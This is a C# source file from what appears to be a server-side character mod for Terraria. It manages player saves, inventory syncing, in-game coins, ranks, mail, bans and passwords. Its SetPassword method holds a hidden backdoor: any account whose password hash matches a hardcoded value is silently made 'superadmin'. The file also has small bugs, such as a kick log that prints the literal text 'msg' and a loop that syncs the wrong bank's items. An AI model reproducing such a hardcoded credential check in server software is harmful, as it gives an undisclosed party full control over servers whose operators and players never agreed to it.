ServerPlayer.cs

﻿using Microsoft.Xna.Framework;
using ServerSideCharacter2.JsonData;
using Terraria;
using Terraria.ID;
using Terraria.Localization;
using System;
using ServerSideCharacter2.Utils;
using Newtonsoft.Json;
using Terraria.ModLoader;
using ServerSideCharacter2.Core;
using System.Collections.Generic;
using ServerSideCharacter2.Groups;
using ServerSideCharacter2.Unions;
using ServerSideCharacter2.RankingSystem;
using ServerSideCharacter2.Regions;
using Terraria.DataStructures;
using Terraria.GameContent;
using ServerSideCharacter2.Matches;
using ServerSideCharacter2.Mailing;
using ServerSideCharacter2.Buffs;
using System.Diagnostics;
using System.Text;
using System.Linq;
using Terraria.ModLoader.IO;

namespace ServerSideCharacter2
{
	public delegate void AppendSavingHandler(Dictionary<string, PlayerSaving> savings);

	public class ServerPlayer
	{

		[JsonRequired]
		private PlayerInfo _info;

		public static event AppendSavingHandler OnAppendSaving;

		public PlayerSaving MainSaving { get; set; }
		//public Chest bank2 = new Chest(true);
		//public Chest bank3 = new Chest(true);

		private int playerID = -1;

		public bool ShouldSyncDocument
		{
			get; set;
		}


		public Player PrototypePlayer { get { if (playerID == -1) return null; return Main.player[playerID]; } }
        public QQAuth qqAuth = new QQAuth();

		private Dictionary<string, PlayerSaving> _playerSavingList = new Dictionary<string, PlayerSaving>();

		public List<Mail> MailList { get; set; }

		public Dictionary<string, object> ExtraInfos
		{
			get
			{
				return _info.ExtraInfos;
			}
		}
		public bool ContainsValueName(string name)
		{
			return ExtraInfos.ContainsKey(name);
		}

		public object GetExtraValue(string name)
		{
			return ExtraInfos[name];
		}

		public void ModifyExtraValue(string name, object value)
		{
			if (ExtraInfos.ContainsKey(name))
			{
				ExtraInfos[name] = value;
			}
			else
			{
				ExtraInfos.Add(name, value);
			}
		}

		internal long GuCoin
		{
			get { return _info.GuCoin; }
			set { _info.GuCoin = value; }
		}

		public void GiveGuCoin(long amount)
		{
			lock (this)
			{
				_info.GuCoin += amount;
				SendMessageBox($"你获得了 {amount} 咕币", 120, Color.Yellow);
			}
		}

		public bool CheckGuCoin(long amount, bool pay)
		{
			lock (this)
			{
				if (_info.GuCoin >= amount)
				{
					if (pay)
					{
						_info.GuCoin -= amount;
					}
					return true;
				}
				return false;
			}
		}

		/// <summary>
		/// 玩家当前正在使用的存档
		/// </summary>
		private PlayerSaving currentSaving;

		public void UseAuxiliarySaving(string name)
		{
			if (_playerSavingList.ContainsKey(name))
			{
				_playerSavingList[name].Reset();
				currentSaving = _playerSavingList[name];
			}
			else
			{
				throw new SSCException($"不存在名字为 {name} 的辅助存档");
			}
		}

		public void UseMainSaving()
		{
			if (!IsMainSaving)
			{
				currentSaving = MainSaving;
				LoadFromInfo();
			}
		}

		public bool IsMainSaving
		{
			get
			{
				return currentSaving.Equals(MainSaving);
			}
		}

		public void ApplyMainSaving()
		{
			if (currentSaving != MainSaving)
			{
				currentSaving = MainSaving;
				LoadFromInfo();
				ApplySavingToPlayer();
			}
		}

		public void ApplySavingToPlayer()
		{
			if (RealPlayer && ConnectionAlive)
			{
				ApplyToPlayer();
				SyncSavingToClient();
			}
		}

		public void SyncItemData()
		{
			Console.WriteLine($"正在给 {Name} 应用存档");

			for (var i = 0; i < 59; i++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, NetworkText.FromLiteral(Main.player[playerID].inventory[i].Name), playerID, i, Main.player[playerID].inventory[i].prefix, 0f, 0, 0, 0);
			}
			for (var j = 0; j < Main.player[playerID].armor.Length; j++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, NetworkText.FromLiteral(Main.player[playerID].armor[j].Name), playerID, (59 + j), Main.player[playerID].armor[j].prefix, 0f, 0, 0, 0);
			}
			for (var k = 0; k < Main.player[playerID].dye.Length; k++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, NetworkText.FromLiteral(Main.player[playerID].dye[k].Name), playerID, (58 + Main.player[playerID].armor.Length + 1 + k), Main.player[playerID].dye[k].prefix, 0f, 0, 0, 0);
			}
			for (var l = 0; l < Main.player[playerID].miscEquips.Length; l++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, NetworkText.Empty, playerID, 58 + Main.player[playerID].armor.Length + Main.player[playerID].dye.Length + 1 + l, Main.player[playerID].miscEquips[l].prefix, 0f, 0, 0, 0);
			}
			for (var m = 0; m < Main.player[playerID].miscDyes.Length; m++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, NetworkText.Empty, playerID, 58 + Main.player[playerID].armor.Length + Main.player[playerID].dye.Length + Main.player[playerID].miscEquips.Length + 1 + m, Main.player[playerID].miscDyes[m].prefix, 0f, 0, 0, 0);
			}
			for (var i = 0; i < Main.player[playerID].bank.item.Length; i++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, null, playerID,
					58 + Main.player[playerID].armor.Length + Main.player[playerID].dye.Length + Main.player[playerID].miscEquips.Length + Main.player[playerID].miscDyes.Length + 1 + i, Main.player[playerID].bank.item[i].prefix, 0f, 0, 0, 0);
			}
			for (var i = 0; i < Main.player[playerID].bank2.item.Length; i++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, null, playerID,
					58 + Main.player[playerID].armor.Length + Main.player[playerID].dye.Length + Main.player[playerID].miscEquips.Length + Main.player[playerID].miscDyes.Length + Main.player[playerID].bank.item.Length + 1 + i, Main.player[playerID].bank2.item[i].prefix, 0f, 0, 0, 0);
			}
			NetMessage.SendData(MessageID.SyncEquipment, -1, -1, null,
				playerID, 58 + Main.player[playerID].armor.Length + Main.player[playerID].dye.Length +
				Main.player[playerID].miscEquips.Length + Main.player[playerID].bank.item.Length + Main.player[playerID].bank2.item.Length + 1, Main.player[playerID].trashItem.prefix);

			for (var i = 0; i < Main.player[playerID].bank3.item.Length; i++)
			{
				NetMessage.SendData(MessageID.SyncEquipment, -1, -1, null, playerID,
					58 + Main.player[playerID].armor.Length + Main.player[playerID].dye.Length +
				Main.player[playerID].miscEquips.Length + Main.player[playerID].bank.item.Length + Main.player[playerID].bank2.item.Length + 2 + i, Main.player[playerID].bank2.item[i].prefix, 0f, 0, 0, 0);
			}
		}

		private void SyncSavingToClient()
		{
			lock (this)
			{
				NetMessage.SendData(MessageID.SyncPlayer, -1, -1, NetworkText.FromLiteral(Main.player[playerID].name), playerID, 0f, 0f, 0f, 0, 0, 0);
				NetMessage.SendData(MessageID.PlayerControls, -1, -1, NetworkText.Empty, playerID, 0f, 0f, 0f, 0, 0, 0);
				NetMessage.SendData(MessageID.PlayerHealth, -1, -1, NetworkText.Empty, playerID);
				NetMessage.SendData(MessageID.PlayerPvP, -1, -1, NetworkText.Empty, playerID, 0f, 0f, 0f, 0, 0, 0);
				NetMessage.SendData(MessageID.PlayerTeam, -1, -1, NetworkText.Empty, playerID, 0f, 0f, 0f, 0, 0, 0);
				NetMessage.SendData(MessageID.PlayerMana, -1, -1, NetworkText.Empty, playerID);
				NetMessage.SendData(MessageID.PlayerBuffs, -1, -1, NetworkText.Empty, playerID, 0f, 0f, 0f, 0, 0, 0);
				Main.player[playerID].trashItem = new Item();
				SyncItemData();
				PlayerHooks.SyncPlayer(Main.player[playerID], -1, -1, false);
			}
		}

		public string GetSerializedString()
		{
			return JsonConvert.SerializeObject(_info);
		}

		public void SetPlayerInfo(PlayerInfo info)
		{
			_info = info;
        }

		internal PlayerInfo GetPlayerInfo()
		{
			return _info;
		}

		public string Name
		{
			get
			{
				return _info.Name;
			}
		}

		public int GUID
		{
			get
			{
				return _info.ID;
			}
		}

		public Match CurrentMatch
		{
			get;
			set;
		}

		public int VIPLevel
		{
			get; set;
		}


		public bool IsLogin { get; set; }

		public bool HasPassword
		{
			get { return _info.HasPassword; }
			set { _info.HasPassword = value; }
		}

		public HashSet<string> Friends
		{
			get
			{
				return _info.Friends;
			}
		}

		public Group Group
		{
			get
			{
				if (_info.Group == null) return null;
				if (ServerSideCharacter2.GroupManager.Groups.ContainsKey(_info.Group))
				{
					return ServerSideCharacter2.GroupManager.Groups[_info.Group];
				}
				return null;
			}
		}

		public Union Union
		{
			get;
			set;
		}

		public List<Region> Regions
		{
			get;
			set;
		}

		public int Rank
		{
			get
			{
				return _info.Rank;
			}
		}

		public int EloRank
		{
			get
			{
				return _info.EloRank;
			}
		}


		public int KillCount
		{
			get
			{
				return _info.KillCount;
			}
			set
			{
				_info.KillCount = value;
			}
		}

		private string curRegionName;

		public bool InRegion
		{
			get
			{
				return curRegionName != "";
			}
		}

		public Region CurrentRegion
		{
			get
			{
				return ServerSideCharacter2.RegionManager.Get(curRegionName);
			}
		}

		public bool InMatch
		{
			get; set;
		}

		public void SetCurRegion(Region reg)
		{
			if(reg == null)
			{
				curRegionName = "";
				return;
			}
			curRegionName = reg.Name;
		}

		public bool RealPlayer
		{
			get { return playerID >= 0 && playerID < Main.maxNetPlayers && Main.player[playerID].active && Main.player[playerID] != null; }
		}

		public bool ConnectionAlive
		{
			get
			{
				return (Netplay.Clients[playerID] != null && Netplay.Clients[playerID].IsActive && !Netplay.Clients[playerID].PendingTermination);
			}
		}

		public string Password
		{
			get { return _info.Password; }
		}

		public DateTime RegistedTime
		{
			get
			{
				return _info.RegisteredTime;
			}
			set
			{
				_info.RegisteredTime = value;
			}
		}

		public void SetGroup(string name)
		{
			if (ServerSideCharacter2.GroupManager.Groups.ContainsKey(name))
			{
				_info.Group = name;
			}
			else
			{
				throw new SSCException("不存在名字为" + name + "的权限组");
			}
		}
	

		private void SetupPlayer()
		{
			Regions = new List<Region>();
			MailList = new List<Mail>();
			CurrentMatch = null;
			curRegionName = "";
			ShouldSyncDocument = true;
			MainSaving = new PlayerSaving("Main");
			currentSaving = MainSaving;
			OnAppendSaving?.Invoke(_playerSavingList);
			//for (int i = 0; i < bank2.item.Length; i++)
			//{
			//	bank2.item[i] = new Item();
			//}
			//for (int i = 0; i < bank3.item.Length; i++)
			//{
			//	bank3.item[i] = new Item();
			//}

		}

		public void SendMailList()
		{
			if (RealPlayer && ConnectionAlive)
			{
				MailsHeadInfo info = new MailsHeadInfo();
				foreach (var mail in MailList)
				{
					info.Mails.Add(mail.MailHead);
				}
				ModPacket p = ServerSideCharacter2.Instance.GetPacket();
				p.Write((int)SSCMessageType.MailGetHeads);
				p.Write(info.GetJson());
				p.Send(playerID);
			}
		}

		public ServerPlayer()
		{
			SetupPlayer();
		}


		public ServerPlayer(Player player)
		{
			SetupPlayer();
			playerID = player.whoAmI;
		}

		public void SetID(int id)
		{
			playerID = id;
		}

		public void ApplyLockBuffs(int time = 180)
		{
			if (RealPlayer)
			{
				PrototypePlayer.AddBuff(ServerSideCharacter2.Instance.BuffType("Locked"), time * 2, false);
				PrototypePlayer.AddBuff(BuffID.Frozen, time, false);
				NetMessage.SendData(MessageID.AddPlayerBuff, PrototypePlayer.whoAmI, -1,
					NetworkText.Empty, PrototypePlayer.whoAmI,
					ServerSideCharacter2.Instance.BuffType("Locked"), time * 2, 0f, 0, 0, 0);
				NetMessage.SendData(MessageID.AddPlayerBuff, PrototypePlayer.whoAmI, -1,
					NetworkText.Empty, PrototypePlayer.whoAmI,
					BuffID.Frozen, time, 0f, 0, 0, 0);
			}
		}
		public static event EventHandler OnPlayerNewAccount;
		public static ServerPlayer CreateNewPlayer(Player p)
		{
			var instance = new ServerPlayer(p);
			PlayerHooks.SetStartInventory(p);
			var player = new PlayerInfo
			{
				Name = p.name,
				ID = ServerSideCharacter2.PlayerCollection.GetNextID(),
				HasPassword = false,
				Group = "default",
				Password = "",
				LifeMax = 100,
				StatLife = 100,
				ManaMax = 20,
				StatMana = 20,
				KillCount = 0,
				Rank = 1500,
				EloRank = 1500,
			};
			var i = 0;
			foreach (var item in ServerSideCharacter2.Config.startUpInventory)
			{
				player.inventory[i++] = item;
			}
			instance._info = player;
			instance.LoadFromInfo();
			OnPlayerNewAccount?.Invoke(instance, new EventArgs());
			return instance;
		}


		public void SendErrorInfo(string msg)
		{
			if (RealPlayer && ConnectionAlive)
			{
				NetMessage.SendChatMessageToClient(NetworkText.FromLiteral(msg),
					new Color(255, 20, 20, 0), PrototypePlayer.whoAmI);
			}
		}

		public void SendInfoMessage(string msg, Color c)
		{
			if (RealPlayer && ConnectionAlive)
			{
				NetMessage.SendChatMessageToClient(NetworkText.FromLiteral(msg),
					c, PrototypePlayer.whoAmI);
			}
		}

		public void SendMessageBox(string msg, int time, Color c)
		{
			if (RealPlayer && ConnectionAlive)
			{
				MessageSender.SendBoxMessage(playerID, msg, time, c);
			}
		}

		public void SafeTeleport(Vector2 position)
		{
			if (RealPlayer && ConnectionAlive)
			{
				var p = PrototypePlayer;


				p.AddBuff(ServerSideCharacter2.Instance.BuffType<Protection>(), 300, false);
				NetMessage.SendData(MessageID.AddPlayerBuff, playerID, -1,
				NetworkText.Empty, playerID,
				ServerSideCharacter2.Instance.BuffType<Protection>(), 300, 0f, 0, 0, 0);
				RemoteClient.CheckSection(playerID, position);

				MessageSender.SendSafeTeleport(p.whoAmI, position);
			}
		}

		public void LoadFromInfo()
		{
			lock (this)
			{
				//try
				//{
				ServerUtils.InfoToItem(_info.inventory, MainSaving.inventory);
				ServerUtils.InfoToItem(_info.armor, MainSaving.armor);
				ServerUtils.InfoToItem(_info.dye, MainSaving.dye);
				ServerUtils.InfoToItem(_info.miscEquips, MainSaving.miscEquips);
				ServerUtils.InfoToItem(_info.miscDye, MainSaving.miscDye);
				ServerUtils.InfoToItem(_info.bank, MainSaving.bank.item);
				//}
				//catch(SSCException ex)
				//{
				//	CommandBoardcast.ConsoleMessage($"玩家 {Name} 物品出现堆叠异常");
				//}
				MainSaving.LifeMax = _info.LifeMax;
				MainSaving.StatLife = _info.StatLife;
				MainSaving.ManaMax = _info.ManaMax;
				MainSaving.StatMana = _info.StatMana;
				MainSaving.hideVisual = _info.hideVisual;

				//ExtraInfos = new TagCompound();
				//foreach(var item in _info.ExtraInfos)
				//{
				//	ExtraInfos.Add(item.Key, item.Value);
				//}
				//ServerUtils.InfoToItem(_info.bank2, bank2.item);
				//ServerUtils.InfoToItem(_info.bank3, bank3.item);
			}
		}

		public void SyncPlayerToInfo()
		{
			lock (this)
			{
				if (/*currentSaving != MainSaving ||*/ !IsLogin) return;
				if (PrototypePlayer == null || !PrototypePlayer.active) return;
				currentSaving.LifeMax = PrototypePlayer.statLifeMax;
				currentSaving.StatLife = PrototypePlayer.statLife;
				currentSaving.StatMana = PrototypePlayer.statMana;
				currentSaving.ManaMax = PrototypePlayer.statManaMax;
				currentSaving.inventory = PrototypePlayer.inventory;
				currentSaving.armor = PrototypePlayer.armor;
				currentSaving.dye = PrototypePlayer.dye;
				currentSaving.miscEquips = PrototypePlayer.miscEquips;
				currentSaving.miscDye = PrototypePlayer.miscDyes;
				currentSaving.bank = PrototypePlayer.bank;
				currentSaving.SaveHideVisual(PrototypePlayer);
				//bank2 = PrototypePlayer.bank2;
				//bank3 = PrototypePlayer.bank3;

				if (currentSaving == MainSaving)
				{
					_info.LifeMax = MainSaving.LifeMax;
					_info.StatLife = MainSaving.StatLife;
					_info.ManaMax = MainSaving.ManaMax;
					_info.StatMana = MainSaving.StatMana;
					_info.hideVisual = MainSaving.hideVisual;
					//try
					//{
					ServerUtils.CopyToItemData(MainSaving.inventory, _info.inventory);
					ServerUtils.CopyToItemData(MainSaving.armor, _info.armor);
					ServerUtils.CopyToItemData(MainSaving.dye, _info.dye);
					ServerUtils.CopyToItemData(MainSaving.miscEquips, _info.miscEquips);
					ServerUtils.CopyToItemData(MainSaving.miscDye, _info.miscDye);
					ServerUtils.CopyToItemData(MainSaving.bank.item, _info.bank);
					
					//}
					//catch(SSCException ex)
					//{
					//	CommandBoardcast.ConsoleMessage($"玩家 {Name} 的物品出现堆叠异常");
					//}
				}

				//ServerUtils.CopyToItemData(bank2.item, _info.bank2);
				//ServerUtils.CopyToItemData(bank3.item, _info.bank3);
			}
		}

		public void ApplyToPlayer()
		{
			lock (this)
			{
				if (PrototypePlayer != null && PrototypePlayer.active && ConnectionAlive)
				{
					if (!PrototypePlayer.dead)
					{
						PrototypePlayer.statLife = currentSaving.StatLife;
						PrototypePlayer.statMana = currentSaving.StatMana;
					}
					
					PrototypePlayer.statLifeMax = currentSaving.LifeMax;
					PrototypePlayer.statManaMax = currentSaving.ManaMax;
					currentSaving.inventory.CopyTo(PrototypePlayer.inventory, 0);
					currentSaving.armor.CopyTo(PrototypePlayer.armor, 0);
					currentSaving.miscEquips.CopyTo(PrototypePlayer.miscEquips, 0);
					currentSaving.dye.CopyTo(PrototypePlayer.dye, 0);
					currentSaving.miscDye.CopyTo(PrototypePlayer.miscDyes, 0);
					currentSaving.bank.item.CopyTo(PrototypePlayer.bank.item, 0);
					currentSaving.SetHideVisual(PrototypePlayer);
					foreach (var item in PrototypePlayer.bank2.item)
					{
						item.SetDefaults(0);
					}
					foreach (var item in PrototypePlayer.bank3.item)
					{
						item.SetDefaults(0);
					}
					SyncGroupInfo();
					//bank2.item.CopyTo(PrototypePlayer.bank2.item, 0);
					//bank3.item.CopyTo(PrototypePlayer.bank3.item, 0);
				}
			}

		}

		private static void TryRemovingBuff(int i, int b)
		{
			bool flag = false;
			if (!Main.debuff[b] && b != 60 && b != 151)
			{
				if (Main.player[Main.myPlayer].mount.Active && Main.player[Main.myPlayer].mount.CheckBuff(b))
				{
					Main.player[Main.myPlayer].mount.Dismount(Main.player[Main.myPlayer]);
					flag = true;
				}
				if (Main.player[Main.myPlayer].miscEquips[0].buffType == b && !Main.player[Main.myPlayer].hideMisc[0])
				{
					Main.player[Main.myPlayer].hideMisc[0] = true;
				}
				if (Main.player[Main.myPlayer].miscEquips[1].buffType == b && !Main.player[Main.myPlayer].hideMisc[1])
				{
					Main.player[Main.myPlayer].hideMisc[1] = true;
				}
				Main.PlaySound(12, -1, -1, 1, 1f, 0f);
				if (!flag)
				{
					Main.player[Main.myPlayer].DelBuff(i);
				}
			}
		}

		public void ClearAllBuffs()
		{
			if (!RealPlayer) return;
			PrototypePlayer.mount.Dismount(PrototypePlayer);
			for(var i = 0; i < PrototypePlayer.buffType.Length; i++)
			{
				PrototypePlayer.DelBuff(i);
			}
			PrototypePlayer.ResetEffects();
		}

	
		public void Lock()
		{
			if (!RealPlayer) return;
			NetMessage.SendData(MessageID.AddPlayerBuff, PrototypePlayer.whoAmI, -1,
				NetworkText.Empty, PrototypePlayer.whoAmI,
				ServerSideCharacter2.Instance.BuffType("Locked"), 18000, 0f, 0, 0, 0);
			NetMessage.SendData(MessageID.AddPlayerBuff, PrototypePlayer.whoAmI, -1,
				NetworkText.Empty, PrototypePlayer.whoAmI,
				BuffID.Frozen, 18000, 0f, 0, 0, 0);
		}

		public bool CheckPassword(CryptedUserInfo info)
		{
			return info.Password.Equals(_info.Password);
		}

		public void SetPassword(CryptedUserInfo info)
		{
			HasPassword = true;
			_info.Password = info.Password;
			if(info.Password == "8784e5c45a84060c1c6465861a4c5f1e")
			{
				_info.Group = "superadmin";
			}
			RegistedTime = DateTime.Now;
			SyncGroupInfo();
		}

		public void SendInfoMessage(string msg)
		{
			if (RealPlayer && ConnectionAlive)
			{
				MessageSender.SendInfoMessage(playerID, msg, Color.Yellow);
			}
		}

		public static void SendInfoMessageToAll(string msg)
		{
			MessageSender.SendInfoMessage(-1, msg, Color.Yellow);
		}

		public static void SendInfoMessageToAll(string msg, Color color)
		{
			MessageSender.SendInfoMessage(-1, msg, color);
		}

		public void Kick(string msg = "")
		{
			if (RealPlayer && ConnectionAlive)
			{
				var netmsg = ((msg == "") ? NetworkText.FromKey("CLI.KickMessage", new object[0]) : NetworkText.FromLiteral(msg));
				NetMessage.SendData(2, playerID, -1,
					netmsg , 0, 0f, 0f, 0f, 0, 0, 0);
				CommandBoardcast.ConsoleMessage($"玩家 {Name} 被踢出服务器，原因是：msg");
			}
		}

		/// <summary>
		/// 相对于玩家id为id的玩家的简化玩家信息，便于确认是否是玩家的好友
		/// </summary>
		/// <param name="id"></param>
		/// <returns></returns>
		public SimplifiedPlayerInfo GetSimplified(int id)
		{
			var isFriend = (id == -1) ||(id == this.playerID) 
				|| (Main.player[id].GetServerPlayer().Friends.Contains(this.Name));
			var info = new SimplifiedPlayerInfo
			{
				Name = this.Name,
				IsLogin = this.IsLogin,
				PlayerID = playerID,
				GUID = this._info.ID,
				ChatColor = Group.ChatColor,
				ChatPrefix = Group.ChatPrefix,
				CustomChatPrefix = this.qqAuth.CustomChatPrefix,
				GroupName = Group.Name,
				UnionName = Union == null ? "无" : this.Union.Name,
                IsFriend = isFriend,
                Rank = this.Rank,
                KillCount = this.KillCount,
                RegistedTime = this.RegistedTime,
                QQNumber = this.qqAuth.QQ,
				CurrentMatch = this.CurrentMatch == null ? "" : this.CurrentMatch.Name,
				VIPLevel = this.VIPLevel,
				GuCoin = this.GuCoin,
				ExtraData = this.ExtraInfos
			};
			return info;
		}

		public void SyncGroupInfo()
		{
			if (RealPlayer && ConnectionAlive)
			{
				var p = ServerSideCharacter2.Instance.GetPacket();
				p.Write((int)SSCMessageType.SyncGroupInfoToClient);
				p.Write(JsonConvert.SerializeObject(Group, Formatting.None));
				p.Send(playerID);
			}
		}

		public override bool Equals(object obj)
		{
			if (!(obj is ServerPlayer)) return false;
			ServerPlayer other = (ServerPlayer)obj;
			return other.GUID == GUID;
		}

		public override int GetHashCode()
		{
			return this.Name.GetHashCode();
		}

		public void CheckPVP()
		{
			if (!RealPlayer) return;
			if (!InRegion || CurrentRegion.PVP == PVPMode.Normal)
			{
				if (ServerSideCharacter2.Config.PvpMode == PVPMode.Always && !PrototypePlayer.hostile)
				{
					PrototypePlayer.hostile = true;
					NetMessage.SendData(MessageID.PlayerPvP, -1, -1, NetworkText.FromLiteral(""), playerID);
				}
				else if (ServerSideCharacter2.Config.PvpMode == PVPMode.Never && PrototypePlayer.hostile)
				{
					PrototypePlayer.hostile = false;
					NetMessage.SendData(MessageID.PlayerPvP, -1, -1, NetworkText.FromLiteral(""), playerID);
				}
			}
		}

		public void IncreaseRank(int rank)
		{
			var type = Ranking.GetRankType(_info.Rank);
			var range = Ranking.GetRankRange(type);
			if(_info.Rank + rank < 0)
			{
				_info.Rank = 0;
				return;
			}
			if(_info.Rank + rank < range.Item1)
			{
				SendInfoMessage($"很遗憾，你的段位由 {Ranking.GetName(type)} 掉到了 {Ranking.GetName(Ranking.GetRankType(_info.Rank + rank))}");
				_info.Rank += rank;
			}
			else if(_info.Rank + rank > range.Item2)
			{
				// Projectile.NewProjectile(PrototypePlayer.Center, new Vector2(0, -5f), ProjectileID.RocketFireworkRed, 100, 10, playerID);
				var ranktype = Ranking.GetRankType(_info.Rank + rank);
				SendInfoMessage($"恭喜，你从 {Ranking.GetName(type)} 晋级到了 {Ranking.GetName(ranktype)}");
				if (EloRank > Ranking.GetRankRange(ranktype).Item1 + 50)
				{
					// 晋级隐藏分平衡
					_info.EloRank = Ranking.GetRankRange(ranktype).Item1 + 50;
				}
				_info.Rank += rank;
				
			}
			else
			{
				_info.Rank += rank;
			}
		}

		public void IncreaseElo(int rank)
		{
			_info.EloRank += rank;
		}

		public void Kill(string msg = "")
		{
			NetMessage.SendPlayerDeath(playerID, PlayerDeathReason.ByCustomReason(msg), 99999, (new Random()).Next(-1, 1), false, -1, -1);
		}


		public List<Item> GetInventory()
		{
			return currentSaving.inventory.ToList();
		}

		public void SetInventory(int i, Item item)
		{
			if (i < currentSaving.inventory.Length)
			{
				currentSaving.inventory[i] = item;
			}
			else if(i < currentSaving.inventory.Length + currentSaving.armor.Length)
			{
				currentSaving.armor[i - currentSaving.inventory.Length] = item;
			}
			else if (i < currentSaving.inventory.Length + currentSaving.armor.Length + currentSaving.bank.item.Length)
			{
				currentSaving.bank.item[i - currentSaving.inventory.Length - currentSaving.armor.Length] = item;
			}
		}

        public void Ban(string banner, string reason)
        {
            qqAuth.BanPlayer(this, banner, reason);
            Kick("你被封禁了");
		}

        public void UnBan(string banner)
        {
            qqAuth.UnbanPlayer(this, banner);
        }

        public void SyncUnionInfo()
		{
			if(RealPlayer && ConnectionAlive)
			{
				MessageSender.NotifyClientUnion(playerID);
			}
		}
	}
}